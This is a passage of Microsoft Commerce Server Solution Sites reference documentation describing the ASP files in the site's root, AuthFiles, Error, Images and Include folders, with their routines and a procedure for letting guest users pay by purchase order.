CreatePOIndexes

htmRenderBasket

htmRenderBasketWarnings

htmRenderCheckoutButton

htmRenderDiscountMessageGroup

htmRenderDiscountMessages

htmRenderDiscountsApplied

htmRenderPredictions

InitializeBasketPage

Main

PredictedPropToHREF

RenderBasketPage

See Also

About the Basket Feature for Solution Sites

Solution Sites Root Folder


BDRefresh.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file, called from Commerce Server Business Desk, refreshes all appropriate caches.

Routines

sGetScriptError

See Also

Solution Sites Root Folder


category.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the products and categories under a specific category.

Routines

FetchCategoryData

htmCachedProductList

htmCategoryHTML

Main

See Also

About the Catalog Feature for Solution Sites

Solution Sites Root Folder


confirm.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file initializes and displays the confirmation page for an order.

Routines

htmRenderConfirmationPage

InitializeConfirmationPage

Main

TerminateConfirmationPage

See Also

About the Basket Feature for Solution Sites

About the Checkout Feature for Solution Sites

Solution Sites Root Folder


crdtcard.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays an input screen for credit card information when checking out.

Routines

GetDefaultValueForNameOnCard

GetDefaultValuesForCreditCardFields

htmRenderCreditCardPage

InitializeCreditcardPage

Main

RemovePurchaseOrderInfo

SetCreditCardInfo

ValidateSubmittedCreditCardData

See Also

About the Analysis Integration Feature for Solution Sites

About the Checkout Feature for Solution Sites

About the Payment Options Feature for Solution Sites

Solution Sites Root Folder


csapp.ini

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is generated by Commerce Server Site Packager during unpacking and contains the site and application names. The information in this file should not be changed and will be lost after packaging and unpacking a site.

Remarks

This file should be secured by turning off both read and anonymous access to it in Internet Information Services (IIS). This file should not be secured with NTFS permissions because it needs to be readable under user credentials such as the IUSR account.

See Also

Solution Sites Root Folder


default.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file prepares and renders the home page.

Routines

htmRenderDefaultPage

Main

PrepareDefaultPage

See Also

Solution Sites Root Folder


dispatch.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file dispatches the user to the payment method page (crdtcard.asp or po.asp) when checking out.

Routines

Main

sLookUpPaymentMethod

See Also

About the Checkout Feature for Solution Sites

About the Payment Options Feature for Solution Sites

Solution Sites Root Folder


fileslst.txt

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is not used by the Solution Sites.

See Also

Solution Sites Root Folder


global.asa

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file creates and initializes global objects and variables, and places them in application scope.

Routines

Application_OnStart

Remarks

Most of the creation and initialization of the global objects and variables is performed by a call to the Main subroutine of the file include\global_main_lib.asp. The environment is set to either PRODUCTION or DEVELOPMENT in this file.

See Also

Solution Sites Root Folder


newaddr.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file adds, edits, or deletes address book addresses.

Routines

bIsAddressNameUnique

CatchErrors

dictGetInitialFieldValues

FetchData

htmRenderAddressForm

iValidateSubmittedAddressForAddressBook

Main

SetupAddressForm

UpdateAddressBook

See Also

About the Address Management for Solution Sites

Solution Sites Root Folder


opt-out.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file adds the user to the opt-out list of a direct mail campaign.

Routines

CreateOptOutList

ErrorOut

GetOptOutList

Main

OptOut

SetOptOutList

See Also

Solution Sites Root Folder


pickship.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays a page for selecting the shipping method.

Routines

CatchErrors

dictAggregatePreviews

htmCachedShippingMethods

htmRenderPickshipForm

htmRenderShippingMethods

htmRenderShippingOptionsEx

Main

PreparePickShipForm

PrepareShippingMethods

rsGetShippingMethods

sGetDefaultShippingMethod

See Also

About the Checkout Feature for Solution Sites

Solution Sites Root Folder


po.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays, when checking out, an input screen for purchase order information.

Routines

GetDefaultValuesForPurchaseOrderFields

htmRenderPaymentOptionsPage

InitializePO

Main

RedirectToPOConfirmation

RemoveCreditCardInfo

SetPurchaseOrderInfo

TerminatePO

ValidateSubmittedPurchaseOrderData

See Also

About the Analysis Integration Feature for Solution Sites

Solution Sites Root Folder


poschema.xml

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains the XML-Data Reduced (XDR) schema for purchase order forms.

See Also

Solution Sites Root Folder


product.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the details of a given product.

Routines

htmRenderBuiltInProperties

htmRenderUserDefinedProductProperties

htmRenderVariantsList

listGetVariantPropertiesToShow

Main

PeekField

sGetPropertyDisplayName

See Also

About the Catalog Feature for Solution Sites

Solution Sites Root Folder


rc.xml

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file defines localizable string constants.

See Also

Solution Sites Root Folder


ReceiveStandard.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is a standard BizTalk Server receive page used for receiving orders through BizTalk Server over HTTP.

Routines

None.

See Also

About the BizTalk Server Integration Feature

Solution Sites Root Folder


redir.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file handles click-throughs and other events on marketing campaign items. It invokes a pipeline that records the events both in memory and to the Internet Information Services (IIS) log file.

Routines

Main

RecordClickToBasket

See Also

Solution Sites Root Folder


RefreshApp.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file, called from Business Desk, refreshes the definitions associated with the Profiling System.

Routines

ProfileRefresh

See Also

Solution Sites Root Folder


search.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file performs a free text search and displays the results.

Routines

bFullTextResultsAreCached

htmRenderFullTextSearchResults

Main

See Also

Solution Sites Root Folder


ServiceReminder.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file serves as an example for generating personalized e-mail using direct mail.

Routines

None.

See Also

Solution Sites Root Folder


srchdept.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays a list of specification searchable categories from a catalog.

Routines

arrSearchDept

bIsSearchDeptPageCached

htmRenderSearchDeptPageContent

Main

See Also

About the Catalog Feature for Solution Sites

Solution Sites Root Folder


stepsrch.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file performs a product specification search and displays the results.

Routines

bClickedViewButton

bClickedViewOrSearchButton

bIsStepSearchPageCached

GetSpecificationSearchClauses

htmRenderStepSearchPageContent

Main

PerformSpecificationSearch

PrepareSpecificationSearch

ShowRefinedSearch

ShowSearchMatches

See Also

About the Catalog Feature for Solution Sites

Solution Sites Root Folder


summary.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays a summary of the basket order, including the grand total.

Routines

CatchErrors

htmRenderAddress

htmRenderDiscountsDescriptions

htmRenderGrandTotals

htmRenderOrderForm

htmRenderSummaryPage

htmRenderVerifyWithForm

InitializeSummaryPage

Main

TerminateSummaryPage

See Also

About the Basket Feature for Solution Sites

About the Checkout Feature for Solution Sites

Solution Sites Root Folder


unpack.vbs

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is used when a site is unpacked using Commerce Server Site Packager. It sets up the error\500error.asp page to be a custom error handler for the site, as well as the i_SiteDefaultLocale, i_BaseCurrencyLocale, and s_PageEncodingCharset properties in the App Default Config resource, based on the system locale.

Routines

FormatOutput

Remarks

Since this routine is not used in the Solution Sites, it does not appear in the Routines Reference section.

See Also

500error.asp

App Default Config Settings for Solution Sites

Solution Sites Root Folder


welcome.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the "Welcome back" message to registered users who return to the site.

Routines

Main

See Also

About the Login Feature for Solution Sites

Solution Sites Root Folder


Solution Sites AuthFiles Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder are provided for use with the AuthFilter, the Internet Server API (ISAPI) filter provided with Commerce Server. Only the Supplier AD Solution Site uses the AuthFilter or any files in this folder. These files are included in case you want to integrate the AuthFilter into your Supplier AD site.

The following files are contained in this folder.

File | Description
autocookie.asp | Generates a globally unique identifier (GUID) used to track an anonymous user, creates a ticket containing the GUID, and sets the ticket in a persistent cookie.
error.asp | Used to write an error message to the user.
help.asp | Used to write a help message to the user.
interror.asp | The user is redirected to this page if any abnormal internal errors occur with the AuthFilter or Internet Information Services (IIS).
Login.asp | Handles the login process. A different file with the same name, login\login.asp, is used by the Solution Sites.
nocookie.asp | The user is redirected to this page if cookies are disabled. Provides an informational message.


autocookie.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file generates a globally unique identifier (GUID) used to track an anonymous user, creates a ticket containing the GUID, and sets the ticket in a persistent cookie.

Routines

None.

See Also

Solution Sites AuthFiles Folder


error.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is used to write an error message to the user.

Routines

None.

See Also

Solution Sites AuthFiles Folder


help.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is used to write a help message to the user.

Routines

None.

See Also

Solution Sites AuthFiles Folder


interror.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides an informational message. The user is redirected to this page if any abnormal internal errors occur within the AuthFilter or Internet Information Services (IIS).

Routines

None.

See Also

Solution Sites AuthFiles Folder


Login.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file handles the login process. A different file with the same name, login\login.asp, is used by the Solution Sites.

Routines

GetCurrentUserPassword

Remarks

Since this routine is not used in the Solution Sites, it does not appear in the Routines Reference section.

See Also

Solution Sites AuthFiles Folder


nocookie.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides an informational message. The user is redirected to this page if cookies are disabled.

Routines

None.

See Also

Solution Sites AuthFiles Folder


Solution Sites Error Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder provide for the client display of various error messages. These messages include the error, and sometimes a number of possible causes and links to other pages. The error messages are obtained from the rc.xml file. The file, 500error.asp, provides a centralized place to process Active Server Pages (ASP) errors.

The following files are contained in this folder.

File | Description
500error.asp | Displays messages for any 500 error that occurs during page processing.
baditem.asp | Displays the message that a catalog item is unavailable.
badurl.asp | Displays the message that the URL is not valid.
closed.asp | Displays the message that the site is closed.
construc.asp | Displays the message that the site is under construction.
noauth.asp | Displays the message that the user is not authorized to access the page.
profile.asp | Displays the message that the account (profile) for the user could not be found and provides links to a corrective action.


500error.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Active Server Pages (ASP) application settings for the Solution Sites have been configured so that if any 500 error (an ASP script error, and so on) occurs during page processing, this page will be displayed. The 500error.asp file has been written to show detailed error messages when the site is in DEVELOPMENT mode, but shows a friendlier error message and an event log message when the site is in PRODUCTION mode. Developers are encouraged to modify this file to provide a branded error message, perhaps with Webmaster contact information, and so on, as their needs dictate.

The unpack.vbs file programmatically sets up the ASP application to use this custom error handler. It can also be configured manually using Internet Information Services (IIS).

Routines

RenderDetailedInfoList

RenderErrorType

RenderPageInfo

RenderPostData

RenderTime

See Also

Error Handling for Solution Sites

Solution Sites Error Folder


baditem.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page displays the message that a catalog item is unavailable.

Routines

Main

See Also

Solution Sites Error Folder


badurl.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page displays the message that the URL is not valid.

Routines

Main

See Also

Solution Sites Error Folder


closed.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page displays the message that the site is closed.

Routines

Main

See Also

Solution Sites Error Folder


construc.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page displays the message that the site is under construction.

Routines

Main

See Also

Solution Sites Error Folder


noauth.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page displays the message that the user is not authorized to access the page.

Routines

Main

See Also

Solution Sites Error Folder


profile.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This page displays the message that the account (profile) for the user could not be found, and provides links to a corrective action. The page can be reached, for instance, if the site has deleted the profile associated with a cookie, or if invalid login credentials are given in an Active Directory scenario.

Routines

Main

See Also

Solution Sites Error Folder


Solution Sites Images Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This folder provides a central repository for images you use on your Web site. With extensibility of the Solution Sites in mind, this folder is subdivided to allow for separating the images by feature area or some other criteria.

This folder contains the following subfolders:

Folder | Description
Catalog | Images used by the Product Catalog System are stored in this folder.
Site | Images used by the site in general are stored in this folder.


Solution Sites Catalog Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Images stored in this folder are intended for use by the Product Catalog System. This folder contains the following file:

File | Description
clockped.gif | An example of an animated image in Graphics Interchange Format (GIF). This image is not used by the Solution Sites.


Solution Sites Site Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Images stored in this folder are intended for use by the site in general. This folder contains the following file:

File | Description
bg.gif | An example of an image that can be used as a page background. This image is not used by the Solution Sites.


Solution Sites Include Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder can be grouped into two major divisions, global libraries and standard libraries. All of the global libraries (global_name_lib) are included and used by the global.asa file. A few of these global files are also used by the BDRefresh.asp and RefreshApp.asp files. The rest of the files are standard libraries that are included by many of the other Active Server Pages (ASP).

The following files are contained in this folder.

File | Description
addr_lib.asp | Contains functions used to retrieve and validate addresses.
analysis.asp | Contains routines used to log Commerce events to the Web server log file for use by Analysis Services.
catalog.asp | Contains routines that deal with catalogs.
const.asp | Stores constants.
form_lib.asp | Contains functions used to render and validate forms.
global_addressbook_lib.asp | Contains functions that describe address forms.
global_cache_lib.asp | Contains a function used to initialize the CacheManager object caches used in the site.
global_catalog_lib.asp | Contains initialization functions for catalogs.
global_creditcards_lib.asp | Contains functions used to retrieve credit card names and field definitions.
global_csf_lib.asp | Contains a subroutine used to initialize the Content Selection Framework (CSF).
global_data_lib.asp | Contains functions used to create and initialize the DataFunctions, SiteConfigReadOnly, BusinessDataAdmin, and GenID objects.
global_forms_lib.asp | Contains functions used to retrieve form and field definitions, and profile attributes.
global_internationalization_lib.asp | Contains functions used to retrieve country name and code lists, and to deal with alternate currencies.
global_main_lib.asp | Contains the Main subroutine called by the global.asa file to create, initialize, and place in application scope many of the objects supplied by Commerce Server.
global_messagemanager_lib.asp | Contains functions used to create and initialize the MessageManager object.
global_predictor_lib.asp | Contains a function used to create the PredictorClient object, and to load the Transaction prediction model from the Data Warehouse.
global_profile_lib.asp | Contains routines used to create and initialize the ProfileService and AuthManager objects, and place all the properties of all the profile schema types into a cached Dictionary object for later reference.
global_siteconfig_lib.asp | Contains routines used to retrieve site configuration information, join a Web farm, and build the dictPages data structure.
global_siteterms_lib.asp | Contains functions used to retrieve and cache site terms for later reference.
global_ui_lib.asp | Contains functions used to initialize site styles.
header.asp | Used to specify the client and server-side code page, response-buffering mode, and so on.
html_lib.asp | Contains functions used to render HTML text, formatting tags, buttons, lists, forms, and tables.
payment.asp | Contains routines used on payment-related pages (crdtcard.asp, dispatch.asp, po.asp, and summary.asp).
setupenv.asp | Used to set up framework variables, retrieve information about the user, and call the Main subroutine.
std_access_lib.asp | Contains routines used to implement page-level access control.
std_cache_lib.asp | Contains routines used to cache fragments and retrieve the cached fragments.
std_cookie_lib.asp | Contains routines used with cookies.
std_dates_lib.asp | Contains date functions.
std_error_lib.asp | Not used.
std_ordergrp_lib.asp | Contains routines used with order groups.
std_pipeline_lib.asp | Contains functions used to retrieve the path of the log file and run the pipeline.
std_profile_lib.asp | Contains routines used to create a new profile, retrieve and update a current profile, check whether the user has a profile, and check whether profiling is enabled on the site.
std_string_lib.asp | Contains routines used for string handling.
std_url_lib.asp | Contains functions used with URLs.
std_util_lib.asp | Contains utility functions used in most pages and also by the global.asa file.
txheader.asp | Used to specify the client and server-side code page, response-buffering mode, and so on, for pages that require a new transaction.


addr_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve and validate addresses.

Routines

GetAddresses

GetAddressType

GetOrganizationAddresses

GetUserAddresses

IsZipCodeValid

LookupRegion

See Also

Solution Sites Include Folder


analysis.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used to log Commerce events to the Web server log file for use by Analysis Services.

Routines

Analysis_ConstructKeyValueString

Analysis_ConstructPRID

Analysis_LogAddToBasket

Analysis_LogEvent

Analysis_LogRemoveFromBasket

Analysis_LogSubmitOrder

See Also

About the Analysis Integration Feature for Solution Sites

Solution Sites Include Folder


catalog.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines that deal with catalogs, and additionally provides the following code declared outside of any routines:

  • Const PRODUCTLIST_PAGE_SIZE = 10
  • Const CATALOG_ROOT_CATEGORY_COLS = "CategoryName,CatalogName"

Routines

EnsureUserHasRightsToCatalog

GetCatalogForUser

GetPriceAndCurrency

htmRenderCatalogList

htmRenderCategoriesList

htmRenderCategoryPage

htmRenderProductsTable

mscsGetCategoryObject

mscsGetProductList

mscsGetSubCategoriesList

mscsUserCatalogs

mscsUserCatalogsetID

mscsUserCatalogsFromID

RenderCatalogLink

RenderCatalogURL

RenderCategoryLink

RenderCategoryURL

RenderProductLink

RenderProductURL

RenderSearchResultRow

RenderSearchResults

rsFreeTextSearch

sUserCatalogsAsString

See Also

About the Catalog Feature for Solution Sites

Solution Sites Include Folder


const.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is used for storing constants when extending the Solution Sites. This file is intentionally empty. For increased performance, the shipped versions of the Solution Sites store constants in a type library.

See Also

Constants in Solution Site Applications

Solution Sites Include Folder


form_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to render and validate forms.

Routines

bMatchesPattern

GetFieldsErrorDictionary

GetSubmittedFieldValues

htmRenderFillOutForm

IsFormSubmitted

See Also

Solution Sites Include Folder


global_addressbook_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions that describe address forms.

Routines

GetAddressBookAddressFieldDefinitions

GetAddressFieldDefinitions

GetShipToAddressFieldDefinitions

See Also

About the Address Management for Solution Sites

Solution Sites Include Folder


global_cache_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains a function used to initialize the CacheManager object caches used in the site.

Routines

InitCacheManager

See Also

Solution Sites Include Folder


global_catalog_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains initialization functions for catalogs.

Routines

dictGetCatalogAttributes

dictGetRSFields

InitCatalogManager

InitCatalogSets

Remarks

This file is used by both the global.asa and BDRefresh.asp files.

See Also

About the Catalog Feature for Solution Sites

Solution Sites Include Folder


global_creditcards_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve credit card names and field definitions.

Routines

GetCreditCardCodesList

GetCreditCardFieldDefinitions

GetCreditCardNamesList

See Also

Solution Sites Include Folder


global_csf_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains a subroutine used to initialize the Content Selection Framework (CSF).

Routines

InitCSF

See Also

Solution Sites Include Folder


global_data_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to create and initialize the DataFunctions, SiteConfigReadOnly, BusinessDataAdmin, and GenID objects.

Routines

GetDWConnectionString

InitDataFunctions

oGetBizDataObject

oGetGenIDObject

Remarks

This file is used by both the global.asa and RefreshApp.asp files.

See Also

Solution Sites Include Folder


global_forms_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve form and field definitions, and profile attributes.

Routines

dictGetPropertySchema

GetFormDefinitions

GetLoginFieldDefinitions

GetPasswordFieldDefinition

GetPurchaseOrderFieldDefinitions

GetRegistrationFieldDefinitions

Remarks

This file is used by both the global.asa and RefreshApp.asp files.

See Also

Solution Sites Include Folder


global_internationalization_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve country name and code lists, and to process alternate currencies.

Routines

GetBillToCurrenciesListItems

GetBillToCurrenciesListValues

GetBillToCurrencyFieldDefinition

GetCountryCodesList

GetCountryNamesList

InitAltCurrencyDisp

See Also

Enabling International Features for Solution Sites

Solution Sites Include Folder


global_main_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains the Main subroutine called by the file global.asa to create, initialize, and place in application scope many of the objects supplied by Commerce Server.

Routines

Main

See Also

Solution Sites Include Folder


global_messagemanager_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains a function used to create and initialize the MessageManager object.

Routines

GetMessageManagerObject

See Also

Solution Sites Include Folder


global_predictor_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains a function used to create the PredictorClient object, and to load the Transaction prediction model from the Data Warehouse.

Routines

InitPredictor

See Also

About Prediction for Solution Sites

Solution Sites Include Folder


global_profile_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used to create and initialize the ProfileService and AuthManager objects. All the properties of all the profile schema types are placed into a cached Dictionary object for later reference.

Routines

AddGroupAndPropertySchemas

dictGetProfileSchemaForAllProfileTypes

InitAuthManager

InitProfileService

listGetProfileSchema

oGetOpenConnectionObject

oGetProfile

See Also

About the Profiles Feature for Solution Sites

Solution Sites Include Folder


global_siteconfig_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used to retrieve the site configuration information, join a Web farm, and build the dictPages data structure.

Routines

GetAppConfigObject

GetBaseURL

GetCommerceSiteInstallPoint

GetCommerceSiteName

GetComputerName

GetConfigDictionary

GetINIFileName

GetINIString

GetMachineBaseURL

GetPaymentMethodsForSite

GetRootPath

GetSecurePagesDictionary

GetSiteConfigObject

GetSitePages

iGetWebServerPort

InitPageSets

InitSitePipelines

IsActiveDirectoryPresent

JoinWebFarm

sGetActiveDirectoryDefaultNamingContext

Remarks

This file is used by both the global.asa and RefreshApp.asp files.

See Also

Solution Sites Include Folder


global_siteterms_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve and cache site terms for later reference.

Routines

bIsSiteTerm

oGetSiteTermOptions

sGetReferenceString

Remarks

This file is used by both the global.asa and RefreshApp.asp files.

See Also

Solution Sites Include Folder


global_ui_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to initialize site styles.

Routines

GetSiteStyles

GetStyles

See Also

Solution Sites Include Folder


header.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file (or the txheader.asp file, its transactional counterpart) should be included at the top of every page. It is used to specify the client and server-side code page, response-buffering mode, and so on.

Remarks

This file provides the following initialization code:

  • @ LANGUAGE=VBScript EnableSessionState=False
  • Option Explicit
  • Response.Charset = Application("MSCSPageEncodingCharSet")
  • Response.Buffer = True
  • Response.CacheControl = "no-cache"
  • Response.AddHeader "Pragma", "no-cache"
  • Response.Expires = -1
  • g_sPipelineProgID = "Commerce.PooledPipeline"

This file is used for all the Active Server Pages (ASP) in the following folders:

  • Root - except for the files crdtcard.asp and po.asp, which use the txheader.asp file
  • Error
  • About the Login Feature for Solution Sites
  • Services - except for the help.asp file
  • Services\Customer
  • Services\Error
  • Services\Partner

See Also

Solution Sites Include Folder


html_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to render HTML text, formatting tags, buttons, lists, forms, and tables.

Routines

Bold

BRTag

GetRepeatStyle

InsertBlankSpace

InsertLineBreaks

InsertParagraphBreaks

Italic

PTag

RenderCheckBox

RenderElement

RenderForm

RenderHiddenField

RenderImage

RenderImageButton

RenderLink

RenderListBox

RenderListBoxFromArray

RenderListBoxFromSimpleList

RenderListFromSimpleList

RenderPasswordBox

RenderPreFormattedText

RenderRadioButton

RenderResetButton

RenderSubmitButton

RenderTable

RenderTableDataRow

RenderTableHeaderRow

RenderTableRow

RenderText

RenderTextBox

RenderUnorderedList

RenderUnorderedListFromSimpleList

Tag

See Also

Solution Sites Include Folder


payment.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used on payment-related pages (crdtcard.asp, dispatch.asp, po.asp, and summary.asp).

To allow guest users to use purchase orders on the site, you must customize the payment.asp page. Use the following procedure to configure this page to allow purchase orders for guest users. If the following procedure is not completed for the site, the error Unspecified or unknown user payment option(s) may occur on the summary.asp page. After completing the following procedure, guest users that choose purchase order as their payment option will be rerouted to the login.asp page after the summary.asp. The user will have to log in on the login.asp page, and then the user will be able to complete the purchase.

To allow guest users to use purchase orders

  1. Set the Payment Option to support account billing in the App Default Config resource.

    For more information about setting the Payment Option, see Configuring the App Default Config Resource.

  2. Click Start, point to Programs, point to Accessories, and click Notepad.
  3. On the File menu, click Open.
  4. In the Open dialog box, navigate to the payment.asp file and then click Open. For example, <drive>:\Inetpub\wwwroot\Retail\include\payment.asp.
  5. Comment out the following code in the payment.asp file:
    Function GetPaymentMethodsForUser()
    Dim listMethods, sPaymentMethod
    Set listMethods = GetSimpleList()
        If m_UserType = GUEST_USER Then
        If IsEntityInList(CREDIT_CARD_PAYMENT_METHOD, Application("MSCSSitePaymentMethods")) Then
            Call listMethods.Add(CREDIT_CARD_PAYMENT_METHOD)
        End If
    ElseIf m_UserType = AUTH_USER Then
        For Each sPaymentMethod In Application("MSCSSitePaymentMethods")
        Call listMethods.Add(sPaymentMethod)
    Next
    End If
        Set GetPaymentMethodsForUser = listMethods
End Function
  6. Add the following code after the code you commented out in step 5:
    Function GetPaymentMethodsForUser()
    Dim listMethods, sPaymentMethod
    Set listMethods = GetSimpleList()
        For Each sPaymentMethod In Application("MSCSSitePaymentMethods")
            Call listMethods.Add(sPaymentMethod)
        Next
    Set GetPaymentMethodsForUser = listMethods
End Function
  7. On the File menu, click Save, and then click Exit to close Notepad.

Routines

CatchErrorsForPaymentPages

About the Checkout Feature for Solution Sites

EnsureSupportForPaymentMethod

GetDefaultPaymentMethodForUser

GetPaymentMethodDisplayName

GetPaymentMethodsForUser

GetPaymentPageFromPaymentMethod

GetXMLForVendorItems

htmRenderPaymentOptionsForUser

InvokeBizTalk

SaveBasketAsOrder

SubmitUsingBizTalk

See Also

About the Analysis Integration Feature for Solution Sites

About the Payment Options Feature for Solution Sites

Solution Sites Include Folder


setupenv.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is used to set up framework variables, retrieve information about the user, and call the Main subroutine.

Routines

SetupPage

Remarks

This file performs the following actions:

  • Sets application variables into local variables
  • Sets up framework variables
  • Corrects for case sensitivities in the URL
  • Retrieves the user ID and sets the user type and access type
  • Calls the Main subroutine of the file it is included in

See Also

Solution Sites Include Folder


std_access_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file includes routines to implement page-level access control.

Routines

EnsureAccess

EnsureAuthAccess

IsFormLoginRequired

IsPersistentCookieAllowed

CheckPartnerServiceAccess

GetUserInfo

sGetUserIDForNewGuestUser

GetAuthManagerObject

See Also

Page-level Access Control for Solution Sites

Solution Sites Include Folder


std_cache_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used to cache fragments and retrieve the cached fragments.

Routines

CacheFragment

CacheObject

LookupCachedFragment

LookupCachedObject

See Also

Solution Sites Include Folder


std_cookie_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used with cookies.

Routines

CorrectRequest

GetCorrectedCookiePath

GetCorrectedHostName

GetIISApplicationName

GetRequestType

SetTestCookie

See Also

Solution Sites Include Folder


std_dates_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve month name and code lists, and year lists.

Routines

GetMonthCodesList

GetMonthNamesList

GetYearsListItems

GetYearsListValues

Remarks

This file is used only by the file include\global_creditcards_lib.asp, which is called only by the global.asa file.

See Also

Solution Sites Include Folder


std_error_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is not used by the Solution Sites.

See Also

Solution Sites Include Folder


std_ordergrp_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used with order groups.

Routines

AddDiscountMessages

GetAnyLineItem

GetAnyOrderForm

GetErrorCount

GetLineItemsCount

GetOrderGroup

GetOrderGroupManager

LoadBasket

RemoveEmptyOrderForms

SetKeyOnOrderForms

See Also

Solution Sites Include Folder


std_pipeline_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve the path of the log file, and to run the pipeline.

Routines

GetPipelineLogFile

RunMtsPipeline

See Also

Solution Sites Include Folder


std_profile_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file supplies routines to create a new profile, retrieve and update a current profile, check whether the user has a profile, and check whether profiling is enabled on the site.

Routines

EnsureUpToDateUserProfile

EnsureUserProfile

GetCurrentUserProfile

GetNewGuestUserProfile

GetProfileFromDB

GetProfileService

GetUserProfileByLoginName

rsGetProfile

rsGetProfileByKey

UpdateUserProfile

See Also

About the Profiles Feature for Solution Sites

Solution Sites Include Folder


std_string_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

